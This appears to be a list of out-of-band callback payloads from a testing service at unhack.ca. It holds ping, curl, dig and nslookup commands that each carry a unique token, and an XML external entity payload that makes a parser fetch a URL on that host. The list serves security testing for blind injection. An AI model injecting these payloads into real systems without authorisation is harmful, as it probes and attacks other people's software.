$ ping -c1 -p 00684b5a02d88453222befb9b9f47200 unhack.ca
 

$ curl http://unhack.ca/p/684b5a02d88453222befb9b9f472
 

$ dig 684b5a02d88453222befb9b9f472 @unhack.ca
 

$ dig 684b5a02d88453222befb9b9f472.ns.unhack.ca
 

C:\> nslookup 684b5a02d88453222befb9b9f472 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/684b5a02d88453222befb9b9f472">]>
    <foo>&xxe;</foo>